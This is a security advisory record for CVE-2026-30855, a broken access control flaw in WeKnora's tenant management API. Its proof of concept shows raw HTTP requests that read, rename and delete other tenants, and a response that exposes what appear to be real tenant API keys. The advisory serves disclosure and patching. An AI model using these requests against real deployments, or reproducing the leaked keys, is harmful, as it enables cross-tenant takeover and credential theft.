CVE-2026-30855: Github.com/Tencent/WeKnora WeKnora Vulnerable To Broken Access Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ccj6-79j6-cq5q",
  "modified" : "2026-03-09T13:21:37Z",
  "published" : "2026-03-06T23:53:53Z",
  "aliases" : [ "CVE-2026-30855" ],
  "summary" : "WeKnora Vulnerable to Broken Access Control in Tenant Management",
  "details" : "### Summary\nAn authorization bypass in tenant management endpoints of WeKnora application allows any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, this vulnerability allows any unauthenticated attacker to register an account and subsequently exploit the system. This enables cross-tenant account takeover and destruction, making the impact critical.\n\n### Details\nThe tenant management handlers do not validate that the caller owns the tenant or has cross-tenant privileges. The handlers parse the tenant ID from the path and directly call the service layer with that ID, returning or mutating the tenant without authorization checks.\n\nAffected handlers:\n- `GET /api/v1/tenants` lists all tenants without ownership checks\n- `GET /api/v1/tenants/{id}` reads any tenant by ID without ownership checks\n- `PUT /api/v1/tenants/{id}` allows updating any tenant by ID without ownership checks\n- `DELETE /api/v1/tenants/{id}` allows deleting any tenant by ID without ownership checks\n\nThese endpoints do not enforce cross-tenant permissions or deny-by-default behavior, unlike `ListAllTenants` and `SearchTenants`.\n\n### PoC\n1) Register a new account as a user in Tenant 10025 and obtain a bearer token or API key.\n\n2) Read details of other tenants:\n\n  - Request that uses API key via the `X-API-Key` header:\n\n    ```http\n    GET /api/v1/tenants HTTP/1.1\n    Host: localhost\n    Connection: keep-alive\n    X-Request-ID: 2TpH2S0sHyi1\n    X-API-Key: sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\n    sec-ch-ua-platform: \"macOS\"\n    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36\n    Accept: application/json, text/plain, */*\n    sec-ch-ua: \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"144\", \"Google Chrome\";v=\"144\"\n    sec-ch-ua-mobile: ?0\n    Sec-Fetch-Site: same-origin\n    Sec-Fetch-Mode: cors\n    Sec-Fetch-Dest: empty\n    Referer: https://weknora.serviceme.top/platform/knowledge-bases\n    Accept-Encoding: gzip, deflate, br, zstd\n    Accept-Language: en-US,en;q=0.9\n\n\n    ```\n\n\n  - Response (truncated for brevity):\n\n    ```http\n    HTTP/1.1 200 OK\n    Server: nginx/1.28.0\n    Date: Fri, 06 Feb 2026 03:12:22 GMT\n    Content-Type: application/json; charset=utf-8\n    Connection: close\n    X-Request-Id: 2TpH2S0sHyi1\n    X-Frame-Options: SAMEORIGIN\n    X-Content-Type-Options: nosniff\n    X-XSS-Protection: 1; mode=block\n    Referrer-Policy: strict-origin-when-cross-origin\n\n    {\n        \"data\": {\n            \"items\": [\n                {\n                    \"id\": 10025,\n                    \"name\": \"injokerr's Workspace\",\n                    \"api_key\": \"sk--HmGzVTrUW-p334ddZzJnucebiWBZ63AH5qKVO0EY4QNrELd\",\n                    \"status\": \"active\"\n                },\n                {\n                    \"id\": 10001,\n                    \"name\": \"viaim_yuweilong\",\n                    \"api_key\": \"sk-hocFTPZIYW9ixuUNbFidgSQ5eciSVcJkzE8Ns3BI6Ev-8cFe\",\n                    \"status\": \"active\"\n                }\n            ]\n        },\n        \"success\": true\n    }\n    ...\n    ```\n\nWith API keys, we can do anything on the victim account's behalf, including reading sensitive data (LLM API keys, knowledge bases), modifying configurations, etc.\n\nRequests to perform modification and deletion of another tenant.\n\n1) Modify the victim tenant:\n\n- Request:\n  - Method: `PUT`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer <ATTACKER_TOKEN>`\n  - Body: `{ \"name\": \"HACKED by tenant 10025\" }`\n\n- Expected response:\n  - `200 OK` with the updated tenant object.\n\n4) Delete the victim tenant:\n\n- Request:\n  - Method: `DELETE`\n  - URL: `http://localhost:8088/api/v1/tenants/10001`\n  - Header: `Authorization: Bearer <ATTACKER_TOKEN>`\n\n- Expected response:\n  - `200 OK` and the tenant is deleted.\n\n### Impact\n\nThis is a Broken Access Control (BOLA/IDOR) vulnerability in tenant management of WeKnora. Any user can access, modify, or delete tenants belonging to other customers, resulting in cross-tenant data exposure, account takeover, and destructive actions against other tenants. Moreover, when the account is taken over, attacker can read configured models to unauthorizedly extract sensitive data such as API keys of LLM services.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/Tencent/WeKnora"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.3.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.3.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Tencent/WeKnora/security/advisories/GHSA-ccj6-79j6-cq5q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30855"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Tencent/WeKnora"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-06T23:53:53Z",
    "nvd_published_at" : "2026-03-07T17:15:53Z"
  }
}